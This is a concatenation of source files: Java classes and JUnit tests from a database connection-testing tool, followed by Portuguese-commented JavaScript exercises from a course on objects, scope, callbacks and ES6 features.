dataBaseTypes.add(DataBaseType.HIVE_CDH634);
dataBaseTypes.add(DataBaseType.HIVE_APACHE121);
dataBaseTypes.add(DataBaseType.HIVE_HDP2650_121);
break;
case GBASE:
dataBaseTypes.add(DataBaseType.GBASE8A);
dataBaseTypes.add(DataBaseType.GBASE8T);
break;
case HIGHGODB:
dataBaseTypes.add(DataBaseType.HIGHGO);
break;
case KINGBASE:
dataBaseTypes.add(DataBaseType.KINGBASE8);
dataBaseTypes.add(DataBaseType.KINGBASE);
break;
case RDS_MYSQL:
dataBaseTypes.add(DataBaseType.RDS_MYSQL);
break;
case RDS_POSTGRESQL:
dataBaseTypes.add(DataBaseType.RDS_PGSQL);
break;
default:
DataBaseType dataBaseType = DataBaseType.getDataBaseTypyByDriverTypeAndVersion(dbType.getDbTypeValue());
if (Objects.nonNull(dataBaseType)) {
dataBaseTypes.add(dataBaseType);
}
break;
}
return dataBaseTypes;
}
}
<file_sep>package com.mchz.tool.dstest.domain.auth;
import com.mchz.tool.dstest.enums.DBAuthMode;
/**
* soc
* 2021/1/26 18:31
* kerberos认证信息
*
* @author lanhaifeng
* @since
**/
public class DsKerberosAuth extends DsUsernamePasswordAuth {
/**
* kerberos的配置文件krb5.conf
*/
private String configFile;
/**
* kerberos客户端keyTab
*/
private String clientKeyTabFile;
/**
* kerberos服务端keyTab
*/
private String serverKeyTabFile;
/**
* kerberos的principal
*/
private String principal;
public void setConfigFile(String configFile) {
this.configFile = configFile;
}
public String getClientKeyTabFile() {
return clientKeyTabFile;
}
public void setClientKeyTabFile(String clientKeyTabFile) {
this.clientKeyTabFile = clientKeyTabFile;
}
public String getServerKeyTabFile() {
return serverKeyTabFile;
}
public void setServerKeyTabFile(String serverKeyTabFile) {
this.serverKeyTabFile = serverKeyTabFile;
}
public String getConfigFile() {
return configFile;
}
public String getPrincipal() {
return principal;
}
public void setPrincipal(String principal) {
this.principal = principal;
}
@Override
public DBAuthMode getDBAuthMode() {
return DBAuthMode.KERBEROS_AUTH;
}
}
<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.constants.DsTestConstant;
import com.mchz.tool.dstest.domain.auth.DsKerberosAuth;
import com.mchz.tool.dstest.domain.auth.DsLdapAuth;
import com.mchz.tool.dstest.domain.auth.DsUsernameAuth;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import com.mchz.tool.dstest.enums.DBType;
import com.mchz.tool.dstest.exception.NotSupportDbAuthException;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.Optional;
/**
* soc
* 2021/2/4 18:26
* jdbc处理器测试数据源
*
* @author lanhaifeng
* @since
**/
public class JdbcTestProcessor extends AbstractDsTestProcessor {
private static Logger logger = LoggerFactory.getLogger(JdbcTestProcessor.class);
private int timeout;
public JdbcTestProcessor(int timeout) {
this.timeout = timeout;
}
public JdbcTestProcessor() {
this(30);
}
@Override
public List<DBType> getSupportDbTypes() {
return DsTestConstant.jdbcDbTypes;
}
@Override
public boolean validateUsernamePasswordAuth(DsUsernamePasswordAuth dsUsernamePasswordAuth) {
if(Objects.isNull(dsUsernamePasswordAuth) || Objects.isNull(dsUsernamePasswordAuth.getDbTypeDict())
|| StringUtils.isBlank(dsUsernamePasswordAuth.getDbTypeDict().getDriverClass())
|| StringUtils.isBlank(dsUsernamePasswordAuth.getDbTypeDict().getJdbcUrlTemplate())){
throw new NotSupportDbAuthException(dsUsernamePasswordAuth.getDbTypeDict(), dsUsernamePasswordAuth.getDBAuthMode());
}
Connection conn = null;
Statement st = null;
try {
DriverManager.setLoginTimeout(timeout);
Class.forName(dsUsernamePasswordAuth.getDbTypeDict().getDriverClass());
conn = DriverManager.getConnection(getJdbcUrl(dsUsernamePasswordAuth),
dsUsernamePasswordAuth.getUserName(), dsUsernamePasswordAuth.getPassword());
st = conn.createStatement();
return true;
} catch (Exception e) {
logger.error("测试连接失败,错误:" + ExceptionUtils.getFullStackTrace(e));
} finally {
try {
if (Objects.nonNull(st)) {
st.close();
}
} catch (Exception e) {
logger.error("关闭连接失败,错误:" + ExceptionUtils.getFullStackTrace(e));
}
try {
if (Objects.nonNull(conn)) {
conn.close();
}
} catch (Exception e) {
logger.error("关闭连接失败,错误:" + ExceptionUtils.getFullStackTrace(e));
}
}
return false;
}
private String getJdbcUrl(DsUsernamePasswordAuth dsUsernamePasswordAuth){
return dsUsernamePasswordAuth.getDbTypeDict().getJdbcUrlTemplate()
.replaceFirst("\\[ip\\]", dsUsernamePasswordAuth.getAddress())
.replaceFirst("\\[port\\]", dsUsernamePasswordAuth.getPort().toString())
.replaceFirst("\\[instanceName\\]", Optional.ofNullable(dsUsernamePasswordAuth.getInstanceName()).orElse(""))
.replaceFirst("\\[serviceName\\]", Optional.ofNullable(dsUsernamePasswordAuth.getServiceName()).orElse(""));
}
}
<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import org.junit.Assert;
import org.junit.Test;
public class ElasticSearchTestProcessorTest {
private ElasticSearchTestProcessor processor = new ElasticSearchTestProcessor();
private DsUsernamePasswordAuth dsUsernamePasswordAuth = new DsUsernamePasswordAuth();
@Test
public void validateNoAuth() {
dsUsernamePasswordAuth.setAddress("192.168.40.12");
dsUsernamePasswordAuth.setPort(9200);
Assert.assertTrue("ElasticSearch测试连接失败", processor.validateUsernamePasswordAuth(dsUsernamePasswordAuth));
}
@Test
public void validateUsernamePasswordAuth() {
dsUsernamePasswordAuth.setAddress("192.168.242.41");
dsUsernamePasswordAuth.setPort(9200);
dsUsernamePasswordAuth.setUserName("elastic");
dsUsernamePasswordAuth.setPassword("<PASSWORD>");
Assert.assertTrue("ElasticSearch测试连接失败", processor.validateUsernamePasswordAuth(dsUsernamePasswordAuth));
}
@Test
public void validateUsernamePasswordAuth2() {
dsUsernamePasswordAuth.setAddress("192.168.242.40");
dsUsernamePasswordAuth.setPort(9900);
dsUsernamePasswordAuth.setUserName("elastic");
dsUsernamePasswordAuth.setPassword("<PASSWORD>");
Assert.assertTrue("测试ElasticSearch服务失败", processor.testService(dsUsernamePasswordAuth.getAddress(), dsUsernamePasswordAuth.getPort()));
Assert.assertTrue("ElasticSearch测试连接失败", processor.validateUsernamePasswordAuth(dsUsernamePasswordAuth));
}
}
|
3d04b52b26a7bc55e7c2cc55b3211a1a13a0eb3b
|
[
"Markdown",
"Java",
"Maven POM"
] | 14
|
Java
|
lanhaifeng/dsTest
|
e9001cd1409c9fd6ad89c66edd355280872c52b7
|
8598374efeb25d9233fb28a8e2e6f5a5a2fbcff2
|
refs/heads/master
|
<repo_name>essadof/exercicios<file_sep>/sequencia-escape/Seção 21 - this/166 this .js
/*
'user stric'
O modo restrito é um recurso definido no ES5 para executar o código de forma rigorosa
e exibir erros que antes eram silenciados na execução.*/
/*
console.log('###this em contexto de execução global objeto window');
function fn() {
console.log(">>> this em escopo de função: ", this); // window
console.log('this == windows: ', this == windows);
function fnInterna() {
console.log(">>> this em escopo de função interna: ", this); // window
console.log('this == windows: ', this == windows);
}
fnInterna();
}
fn();// função amarrada ao objeto que a está a invocar a função em contexto global (window)
*/
var nome = 'paulo';
function fnNome() {
let nome = 'fernanda';
console.log('this.nome: ', this.nome); //faz referência ao objeto que está invocar a função window
console.log('nome: ', nome); //fernanda porque procura dentro da função
}
fnNome();
<file_sep>/sequencia-escape/Seção 22 - ES6/173 TDZ - Temporal Dead Zona.js
// var, let e const
// Içamento de variável (hoisting)
// Temporal Dead Zona (Zona Morta Temporal)
//exemplo 1 - hoisting
var nome;
console.log('nome', nome);
nome = 'maria';
var numero;
console.log('numero: ', numero);
numero = 235;
// Temporal Dead Zona (Zona Morta Temporal)
console.log('nome2', nome2); //=> TDZ
let nome2 = 'pedro';
var numero4;
console.log('numero4: ', numero4);
numero4 = 123123125;<file_sep>/sequencia-escape/manipulacao-dom/js/operadores_bits.js
//Operador <<= Left Shift
console.log("operador <<= Left Shift###################");
var num1 = 1;
console.log("1 - num1 em base10:" , num1);
console.log("2 - num1 em base2:" , num1.toString(2));
num1 <<= 1;
console.log("3 - num 1 em Base2: ", num1.toString(2));
console.log("4 - num 1 em Base10: ", num1);
//operador >>= Right Shift´
console.log("operador >>= Right Shift###################");
var num2 = 3;
console.log("1 - num2 em Base10: ", num2);
console.log("1 - num2 em Base2: ", num2.toString(2));
num2 >>=1;
console.log("3 - num 1 em Base2: ", num2.toString(2));
console.log("4 - num 1 em Base10: ", num2);<file_sep>/sequencia-escape/Seção 18 - objetos/123 - Object.isSealed & Object.isExtensible.js
//! Selando objetos com Object.seal e isSealed
/* como selar um objeto selado não é extensível (pode add prop.)
e também as propriedades não são configuráveis(não é possível deletar prop.)*/
var livro = {
titulo: 'Javascript Mestre Jedi',
paginas: 12345
};
console.log("Object.isExtensible(livro): ", Object.isExtensible(livro));
console.log("Object.isSealed(livro): ", Object.isSealed(livro));
console.log();
console.log("Selando o objeto:", Object.seal(livro));
console.log();
console.log("Object.isExtensible(livro): ", Object.isExtensible(livro));
console.log("Object.isSealed(livro): ", Object.isSealed(livro));
console.log();
// add
livro.ebook = true;
console.log("add ebook livro.hasOwnProperty('ebook'): ", livro.hasOwnProperty('ebook'));
console.log("Apagar livro.titulo: ", delete livro.titulo);
console.log("Adicionar ebook livro.hasOwnProperty('titulo'): ", livro.hasOwnProperty('titulo'));
console.log();
livro.paginas = 1498;
console.log(Object.getOwnPropertyDescriptors(livro));
//Object.defineProperty(livro, 'paginas', {configurable: true});
<file_sep>/sequencia-escape/escopo-variaveis.js
//scopo global
var cliente ="Pedro";
//escopo local
function realizarVenda(){
msgGlobal = "Variável global";
var msg = "Venda realizada com sucesso!";
console.log("Cliente:",cliente);
console.log(msg);
}
realizarVenda();
console.log(msgGlobal);
//console.log(msg); // como foi pedido após a função ser executada não deixa extrair a informação de dentro da função porque tem escopo local
<file_sep>/sequencia-escape/Seção 18 - objetos/115.js
//Verificar se uma propriedade ou méto existo no objeto em questão ou em sua cadeia de protótipos
var pedido = new Object();
pedido.total = 233.45;
// verificar se existe cliente em pedido
console.log("cliente in pedido: ", "cliente" in pedido); // false
console.log("cliente in pedido: ", pedido.cliente); //undefine
console.log("total in pedido: ","total" in pedido); // true
// o 'in' verifica se a propriedade ou método existe no objeto e na cadeia de protótipo
console.log("###############################");
console.log("toString in pedido:" , "toString" in pedido); //true
console.log("total in pedido com hasOwnProperty:" , pedido.hasOwnProperty("total")); //true
console.log("toString in pedido com hasOwnProperty:" , pedido.hasOwnProperty("toString")); //false
//como deletar propriedades do objeto (método tb)
pedido.totalItens = 23;
console.log("Removeu a prop. totalItens?", delete pedido.totalItens);
console.log("totalItens?", pedido.totalItens);
console.log(pedido);
console.log(pedido.total);<file_sep>/sequencia-escape/Seção 22 - ES6/196 - Hoisting em class.js
// Classe não sofre hoisting, é preciso declarar classes antes de usar
class Veiculo {
constructor(tipo) {
this.tipo = tipo;
}
tipoUpper() {
console.log(`Tipo: ${this.tipo.toUpperCase()}!`);
}
}
let objVeiculo = new Veiculo('Carro');
objVeiculo.tipoUpper();
console.log("");
//Expressão para criar classe - class expression
const Carro = class {
constructor(placa) {
this.placa = placa;
}
}
// ####################################
const CarroV2 = class extends Veiculo {
constructor(tipo, placa) {
super(tipo)
this.placa = placa;
}
//strict mode
getVeiculo() {
console.log(`Tipo: ${this.tipo} - Placa: ${this.placa}`);
}
}
let objCarro = new CarroV2('carro', 'JPG2356');
objCarro.getVeiculo();
<file_sep>/sequencia-escape/Seção 18 - objetos/Number.js
//isNaN
var a = "abc";
var b = "12";
var c = 23;
var d = NaN;
console.log(a, Number.isNaN(a));
console.log(b, Number.isNaN(b));
console.log(c, Number.isNaN(c));
console.log(d, Number.isNaN(d));
var numero = 234.358738;
console.log(numero,numero.t)<file_sep>/sequencia-escape/Seção 22 - ES6/190- propriedades computadas.js
//Propriedades computadas em objetos literais
//ES5
var objProdutoES5 = {
nome: "A"
}
objProdutoES5["seq" + 23] = 23;
console.log('objProdutoES5: ', objProdutoES5);
//ES6
var objProdutoES6 = {
nome: "A",
["seq" + 23]: 12
}
console.log('objProdutoES6: ', objProdutoES6);
console.log('');
//
let retNum = function () {
return 267;
}
let nomeProp = 'teste';
var objProdutoES6v2 = {
nome: "C",
["seq" + retNum()]: retNum(),
[nomeProp]: nomeProp
}
console.log('objProdutoES6v2: ', objProdutoES6v2);
<file_sep>/sequencia-escape/Seção 18 - objetos/113 - objeto.js
var Produto = new Object();
Produto.nome = 'Mesa';
Produto.preco = 89,99;
Produto.dimensoes = {largura: "1m", comprimento: "1,5", altura: "90cm"};
Produto["nome no formato string valido"] = "deu certo";
var nomeProp = "novoNome";
Produto[nomeProp] = "deu certo o novo nome";
Produto[""] = "vazio";
Produto["123"] = 123;
// acessar usando operador membro
console.log("nome: ", Produto["nome"]);
console.log("altura: ", Produto.dimensoes.altura);
console.log("string: ", Produto["nome no formato string valido"]);
console.log("Novo Nome: ", Produto["novoNome"]);
console.log("Novo Nome: ", Produto[nomeProp]);
console.log("Produto.novoNome: ", Produto.novoNome);
console.log('Produto[""]:', Produto[""]);
console.log('Produto["123"]:', Produto["123"]);
console.log("#######for in ########")
for(var elemento in Produto.dimensoes){
console.log(elemento, Produto.dimensoes[elemento]);
}<file_sep>/sequencia-escape/Seção 22 - ES6/181 - Rest & Spread.js
/*
...theArgs = juntar em um array
...Spread = expande um array em elementos distintos */
function somarNumeros(...theArgs) { //rest parameter (como parametro)/ array
let retornoSoma = theArgs.reduce(function (acumulador, valor, indice, array) {
return acumulador = acumulador + valor;
});
console.log('Resultado soma=', retornoSoma);
}
let numeros = [2, 8, 4, 12];
somarNumeros(...numeros); // spread<file_sep>/sequencia-escape/Seção 22 - ES6/195 - Herança.js
//Herança
/*
//ES5
function PessoaES5(nome, cpf) { //construtor
//propriedades
this.nome = nome;
this.cpf = cpf;
}
//#2
PessoaES5.prototype.nomeUpper = function () { //qd crio a função estou a criar o método
return this.nome.toUpperCase();
}
function Funcionario(nome, cpf, matricula) {
PessoaES5.call(this, nome, cpf);
this.matricula = matricula;
}
Funcionario.prototype = Object.create(PessoaES5.prototype); // para copiar #2 para o Funcionário
Funcionario.prototype.constructor = Funcionario;
var obj1Funcionario = new PessoaES5("Carla", '9213912391', '2324');
var obj2Funcionario = new PessoaES5("Carla", '9213912391', '2324');
console.log("obj1Funcionario.nome: ", obj1Funcionario.nome);
console.log("obj1Funcionario.cpf: ", obj1Funcionario.cpf);
console.log("obj1Funcionario.matricula: ", obj1Funcionario.matricula);
console.log("obj1Funcionario.nomeUpper(): ", obj1Funcionario.nomeUpper());
*/
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ES6
class PessoaES6 {
constructor(nome, cpf) {
this.nome = nome;
this.cpf = cpf;
}
nomeUpper() {
return this.nome.toUpperCase();
}
}
/* A palavra-chave super é usada para acessar o objeto pai de um objeto,
em outros casos, é usada para acessar a classe pai de uma classe.*/
class FuncionarioES6 extends PessoaES6 {
constructor(nome, cpf, matricula) {
super(nome, cpf); //ele chama a classe construtora pai PessoaES6 com (nome,cpf) dele
this.matricula = matricula;
}
matriculaPessoa() {
return `${this.matricula} - ${this.nome.toUpperCase()}`;
}
}
var obj1FuncionarioES6 = new FuncionarioES6("João", '9213912391', '2324');
console.log("");
console.log("obj1Funcionario.nome: ", obj1FuncionarioES6.nome);
console.log("obj1Funcionario.cpf: ", obj1FuncionarioES6.cpf);
console.log("obj1Funcionario.matricula: ", obj1FuncionarioES6.matricula);
console.log("obj1Funcionario.nomeUpper(): ", obj1FuncionarioES6.nomeUpper());
console.log("obj1Funcionario.matriculaPessoa(): ", obj1FuncionarioES6.matriculaPessoa());<file_sep>/sequencia-escape/Seção 22 - ES6/183 Template String.js
/* Template string ou literais string é um novo recurso do ES6 que permitem interpetrar
strings da forma como a mesma é escrita, com quebra de linha, expressões embutidas e
ainda pode marcar a mesma para chamar uma função.
-Você pode usar string multi-linhas
- Interpolação de Expressões
- Marcar literal string para executar uma função com tagged template strings
*/
console.log("---------------------------------------------------");
let texto = "Olá Jovem! \n Seja bem-vinda ao curso."
console.log(texto);
let texto2 = `Olá Jovem!
Seja bem - vinda ao curso.`;
console.log(texto2);
//exemplo interpolação de expressões vs placeholders ${}
//(1) Antes do ES6
let expressao = "5 + 5 é igual a " + (5 + 5) + " e 3 * 3 é igual a " + (3 * 3) + ".";
console.log(expressao);
//(2) Depois do ES6
let expressao2 = `5 + 5 é igual a ${5 + 5} e 3 * 3 é igual a ${3 * 3}.`;
console.log(expressao2);
let pessoa = { nome: 'Paulo', idade: 27 };
let apresentacao = `Olá meu nome é ${pessoa.nome} e tenho ${pessoa.idade} anos`;
console.log(apresentacao);
//exemplo marcação ou tag (tagged template strings)
let nome = "Maria";
let sobrenome = "Barbosa";
function caixaAlta(arrayTemplate, ...arrayValores) { // arrayTemplate = texto , ...arrayValores = values
console.log('arrayTemplate: ', arrayTemplate);
console.log('arrayValores: ', arrayValores);
let str = '';
arrayTemplate.forEach(function (texto, indice, array) {
str += `${texto} ${arrayValores[indice] != undefined ? arrayValores[indice].toUpperCase() : ''}`;
});
return str;
}
console.log(caixaAlta`Olá ${nome}, seu sobrenome é ${sobrenome} ?`);
console.log(``);
console.log(`\`` === '`');
console.log("---------------------------------------------------");
var a = 5;
var b = 10;
function tag(strings, ...values) {
console.log(strings[0]); // "Hello "
console.log(strings[1]); // " world"
console.log(values[0]); // 15
console.log(values[1]); // 50
return "Bazinga!";
}
tag`Hello ${a + b} world ${a * b}`;
console.log("-----------------------Strings Raw----------------------------");
function tag(strings, ...values) {
console.log(strings.raw[0]);
}
tag`string text line 1 \n string text line 2`;
console.log(String.raw`Hi\n${2 + 3}!`); // "Hi\\n5!"<file_sep>/sequencia-escape/Seção 19 - array/146-every.js
/* Every - Este método testa se todos os elementos do array
passam pelo teste implementado pela função fornecida.*/
//! Retorna true ou false, sendo que irá retorna true SOMENSE SE TODOS OS TESTES RETORNAREM TRUE
var numeros = [0, 2, 3, 5, 6, 8, 4, 12];
console.log('numeros', numeros);
var retorno = numeros.every(function (item, indice, array) {
return item < 20;
});
console.log(retorno);<file_sep>/sequencia-escape/Seção 20/153 - funcao.js
function nomeCompletoUpperCase(nome1, nome2, nome3) {
var nomeCompleto = nome1 + " " + nome2 + " " + nome3;
return nomeCompleto.toUpperCase();
}
//console.log(nome2);
console.log(nomeCompletoUpperCase('joao', 'jaquim', 'Aguiar'));
//
function nomeCompletoUpperCaseV2(nome1, nome2, nome3) {
var nomeCompleto = "";
if (arguments.length > 3) {
for (var indice in arguments) {
nomeCompleto += " " + arguments[indice];
}
} else {
nomeCompleto = nome1 + " " + nome2 + " " + nome3;
}
return nomeCompleto.toUpperCase();
}
console.log("Nome Completo UpperCase: ", nomeCompletoUpperCaseV2('Maria', 'Paula', 'Ferreira', 'Silva'));
<file_sep>/sequencia-escape/Seção 19 - array/148 - Reduce.js
/*Reduce/ReduceRight - Este método itera por todos os elementos de um array, tendo como objetivo
principal reduzir tudo a um único valor no qual será o retorno da função */
/* Recebe uma função (callback) e um valor inicial para seu acumulador
A funcão callback recebe quatro parâmetros no qual é chamada para cada elemento do array;
1- Acumulador, no qual irá reter o valor oriundo do retorno de cada iteração.
2- valor
3- indice do elemento no array
4- o próprio array
O reduce right começa pelo fim do array. Ou seja, da direita para a esquerda. */
var testeReduce = [1, 2, 3, 4, 5];
var retornoReduce = testeReduce.reduce(function (acumulador, valorEleArray, indice, array) {
console.log('acumulador: ', acumulador);
console.log('valorEleArray: ', valorEleArray);
console.log('indice: ', indice);
console.log("----------");
return acumulador + valorEleArray;
}, 0);
console.log('retornoReduce: ', retornoReduce);
var valorInicial = 2;
console.log("RIGHT : -------------------------------------------------------");
var retornoReduceR = testeReduce.reduceRight(function (acumulador, valorEleArray, indice, array) {
console.log('valor Inicial: ', valorInicial);
console.log('acumulador: ', acumulador);
console.log('valorEleArray: ', valorEleArray);
console.log('indice: ', indice);
console.log("----------");
return acumulador + valorEleArray;
}, valorInicial);
console.log('retornoReduceR: ', retornoReduceR);<file_sep>/sequencia-escape/manipulacao-dom/js/if-ternario.js
var periodo = "matutino";
var mensagem = periodo == "matutino" ? "Bom dia!": "Olá";
console.log(mensagem);<file_sep>/sequencia-escape/Seção 22 - ES6/189 - shorthand method.js
/* Shorthand Methos - método abreviado */
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ES5
objCalcES5 = {
msg: function msg() {
console.log("Olá");
},
somar: function somar(a, b) {
console.log('Resultado: ', a + b);
}
}
objCalcES5.msg();
objCalcES5.somar(10, 20);
console.log("");
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ES6
objCalcES6 = {
msg() {
console.log("Olá");
},
somar(a, b) {
console.log('Resultado: ', a + b);
},
*funcaoGerado(i) {
yield i + 1;
}
}
objCalcES6.msg();
objCalcES6.somar(100, 30);
console.log(objCalcES6.funcaoGerado(1).next().value);<file_sep>/sequencia-escape/Seção 18 - objetos/116.js
// ! como obter as chaves (nome de propriedades) do objeto
// TODO LIST
// ? NICE
var produtoTeste = { nome : 'teste', valor: 12, ativo : true}
var chaves = Object.keys(produtoTeste);
console.log("Object.keys(produtoTeste)", chaves);
console.log("Tipo com typeof", typeof chaves);
//TODO########## Qual a função construtora?
console.log("Object.prototype.toString.call(chaves): ", Object.prototype.toString.call(chaves));
// TODO########## Verificar se de facto é array
console.log(Array.isArray(chaves));
//acessar os valores de propriedades do objecto
for(var prop in produtoTeste){
console.log(produtoTeste[prop]);
}
//ES2017 ES5
var valoresProp = Object.values(produtoTeste);
console.log("Object.values(produtoTeste):", valoresProp);
//!Recuperar as propriedades e valores do objeto
var chavesValorArray = Object.entries(valoresProp); // em array
var chavesValorObjeto = Object.entries(produtoTeste); // em array
console.log(chavesValorArray);
console.log(chavesValorObjeto);
//! Recuperar os valores dentro dos objetos
for(const [chave , valor] of chavesValorObjeto){
console.log(chave+":",valor);
}<file_sep>/sequencia-escape/Seção 20/157- escopo-global-local.js
/*O escopo no Javascript define a abrangência no qual variáveis, valores, funções e objetos
poderão ser referências e acessados.
No JS tenho dois escopos:
- Global: Pertencente ao Objeto Window que representa a janela do Browser
- Local: Nível de bloco que é usando pelas funções
*/
//exemplo 1
var pessoa = 'Maria'; //escopo global
console.log('global pessoa: ', pessoa);
function empresa() {
var funcionario = 'Pedro'; // escopo local - escopo da função, Pedro só existe quando a função é chamada
console.log('local pessoa: ', pessoa);
console.log('local funcionairo : ', funcionario);
}
empresa();
//console.log('global funcionairo : ', funcionario);//funcionario is not defined = é local
console.log("");
//exemplo2
function casa() {
var morador1 = 'José';
morador2 = 'Francisca'; // se não usar 'var' é definido em escopo global
// usar variáveis sem var é uma quebra de segurança, porque define a variável em escopo global
console.log('local morador1: ', morador1);
console.log('local morador2: ', morador2);
}
casa();
// console.log('global morador1: ', morador1); // ReferenceError morador1 is not defined
console.log('global morador2: ', morador2);
console.log("");
console.log("");
//exemplo3
var aluno1 = 'Fernando';
var aluno2 = 'Érica';
function salaDeAula(aluno3) { //aluno3 é o parametro da funcao salaDeAula => transforma-se em variav
var aluno1 = 'Joana';
aluno2 = 'Paula';
console.log('Local aluno1: ', aluno1);
console.log('Local aluno2: ', aluno2);
console.log('Local aluno3: ', aluno3);
}
salaDeAula('Bruno');
console.log("");
console.log("");
console.log('global aluno1: ', aluno1);
console.log('global aluno2: ', aluno2);
//console.log('global aluno3: ', aluno3); // Referencer: aluno3 is not defined = parametro de um funcao transformam-se em variável temporariamente<file_sep>/sequencia-escape/wrapper-primitivo.js
//WRAPPER
//Os tipos Wrapper primitivos são tipos objeto referência criados automaticamente
//de forma oculata, sempre que um valor ou métodos de objetos String, Number e Boolen
//primitivos sejam acessados via literal.
var valorString = "Curso JS";
console.log(valorString.substr(0, 5));
//processo Wrapper - primitivo
var valorStringTemp = new String(valorString);
var substr = valorStringTemp.substr(0,5);
varlorStringTemp=null;
console.log(substr);
substr = null;<file_sep>/sequencia-escape/Seção 22 - ES6/186 - Arrow function - this lexico com callback.js
/* As arrow function trabalha com this é léxico, ou seja, o this é definido de acordo com
o contexto de execução superior */
/*
function Livro() {
this.paginaAtual = 0;
setInterval(function passarPagina() {
this.paginaAtual++;
console.log("Meu this é: ", this);
console.log("A página atual é : ", this.paginaAtual);
console.log(Date());
}, 10000);
}
let Livro1 = new Livro();
// that - self
function Livros() {
this.paginaAtual = 0;
let that = this;
setInterval(function passarPagina() {
that.paginaAtual++;
console.log("Meu this é: ", that);
console.log("A página atual é : ", that.paginaAtual);
console.log(Date());
}, 4000);
}
let Livro2 = new Livros();*/
function LivroArrow() {
this.paginaAtual = 0;
setInterval(() => { // arrow function //usando callback
this.paginaAtual++;
console.log("Meu this é: ", this);
console.log("A página atual é : ", this.paginaAtual);
}, 2000);
}
let livroArrow = new LivroArrow();<file_sep>/sequencia-escape/Seção 20/154. first-class citizen.js
//First-Class Function
//Fisrt-Class Citizen
//As funções em Javascript são tratadas como objeto/valor
/*
Algumas coisas que podemos fazer com uma função em JS:
1- Atribuir a função a uma variável ou propriedade de objeto
2- Passar um função argumento para parâmetro de outra função
3- Retornar a função como valor para um chamador de outra função
4- Armazenar a função em uma estrutura de dados como o array ou objeto
*/
//! 1 - Atribuir a função a uma variável ou propriedade de objeto
var msg = function () { console.log("Olá") };
msg();
//! 2- Passar um função argumento para parâmetro de outra função
function som(a, b) { return a + b };
function sub(a, b) { return a - b };
function calc(fn, v1, v2) {
//regras...
return fn(v1, v2);
}
console.log('Calc :', calc(som, 50, 70));
console.log('Calc :', calc(sub, 100, 70));
//! 3 - Retornar a função como valor para um chamador de outra função
function somar(a, b) { return a + b };
function subtrair(a, b) { return a - b };
function calculadora(operacao) {
if (operacao == 'somar') {
return somar;
} else if (operacao == 'subtrair') {
return substrair;
} else {
return 'Operacao inválida';
}
}
var retornoOperacao = calculadora('somar');
console.log('retornoOperacao: ' + retornoOperacao);
console.log('retornoOperacao: ' + retornoOperacao(45, 20));
//! 4- Armazenar a função em uma estrutura de dados como o array ou objeto
var array = [function (nome) { return "Oi " + nome + "!" }, function (nome) { return "Adeus " + nome + "!" }];
console.log("Array: ", array[0]('Fernanda'));
console.log("Array: ", array[1]('Fernanda'));
var objeto = { msg: function (nome) { return "Oi " + nome + "!" } };
console.log("Objeto: ", objeto.msg('Paulo'));<file_sep>/sequencia-escape/Seção 20/162 - Callback.js
/*
Callback é um recurso no qual uma função é passada via argumento para outra função no
ato da invocação, desta forma a função que recebe a função callback como argumento
pode chamar o callback durante sua execução em um processo síncrono ou assíncrono
Processo síncrona: significa que cada instrução será executada mediante a finalização da instrução
anterior.
Processo assíncrono: significa que durante a execução da aplicação pode haver instruções
que serão executadas mediante resposta de alguma processo, mas não interromperá o fluxo
principal da aplicação não será comprometido. */
//exemplo1 - sincrono
function mostrarCliente(nome) {
console.log("Cliente:", nome);
}
function realizarVenda(fn) {
fn('Pedro'); // como é sincrono só passa para a linha do item A qd acabar mostrarCliente(nome) ;
console.log('1 - Item A');
console.log('2- Item B');
console.log('3- Item c');
}
//realizarVenda(mostrarCliente);
//exemplo 2 - sincrono
function contador() {
var num = 5;
for (var i = 0; i < num; i++) {
console.log(i);
}
}
function iniciar(callback) {
console.log('Inicio');
callback();
console.log('Fim');
}
iniciar(contador);
// ####################################### exemplo 3
function propaganda(tempo) {
setTimeout(function () {
console.log('Propaganda >>>>>>>>>>>')
}, tempo);
}
function rodar(callback) {
console.log('Inicio');
callback(3000);
console.log('App Rodando....');
}
rodar(propaganda);
<file_sep>/sequencia-escape/error.js
//throw para informar um exceção
//erros e exceções são tratados por um bloco try/catch/finally
//com erro, javascript pára tudo
//throw new Error("Ocorreu um erro na aplicação");
try {
console.log(soma(10,new Array(10)));
}catch (error){
//console.log(error);
console.log(error.name); //tipo de erro
console.log(error.message); //só erro normal
console.log(error.stack); //detalhes do erro
} finally {
console.log("Sempre será executado");
}
function soma(a,b){
//return a/b;
return a.exec();
}<file_sep>/sequencia-escape/bootstrap.js
//Build responsive, mobile-first projects on the
// motor do bootstrap JQUERY<file_sep>/sequencia-escape/Seção 18 - objetos/114.js
//o objeto por referencia
var obj1 = {matricula: 17};
console.log("obj1 matricula: ", obj1.matricula);
//as 2 apontam para a mesma referencia de memoria
var obj2 = obj1;
console.log("obj2 matricula:", obj2.matricula);
obj2.matricula = 28;
console.log("obj2 matricula: ", obj2.matricula);
console.log("obj1 matricula: ", obj1.matricula);
obj2 = null; //limpar memoria
console.log("tipo de objeto: typeof: ", typeof obj1);
console.log("tipo de objeto: typeof: ", obj1 instanceof Object); // true, foi criado Object()
console.log("tipo de objeto: typeof: ", obj2 instanceof Object); // false
<file_sep>/sequencia-escape/Seção 22 - ES6/188 Shorthand Property.js
/* No ES6 foi melhorado a forma de declaração de objetos literais, para simplificar e automatizar
atribuições simples.
- shorthand property - propriedade abreviada
- shorthand methos - método abreviado
- name computed property/method - nome de propriedades/métodos computadas */
let nome = 'Maria', idade = 37, cidade = 'Sobral';
// ES5
let objPessoa = { nome: nome, idade: idade, cidade: cidade };
console.log('objPessoa', objPessoa);
//ES6 - shorthand property
let objPessoaES6 = { nome, idade, cidade };
console.log('objPessoa', objPessoaES6);
<file_sep>/sequencia-escape/Seção 22 - ES6/179 - Spread.js
/* Para chamadas de função: minhaFuncao(...objIteravel);
Para array literais: [...objIteravel, 4, 5, 6]
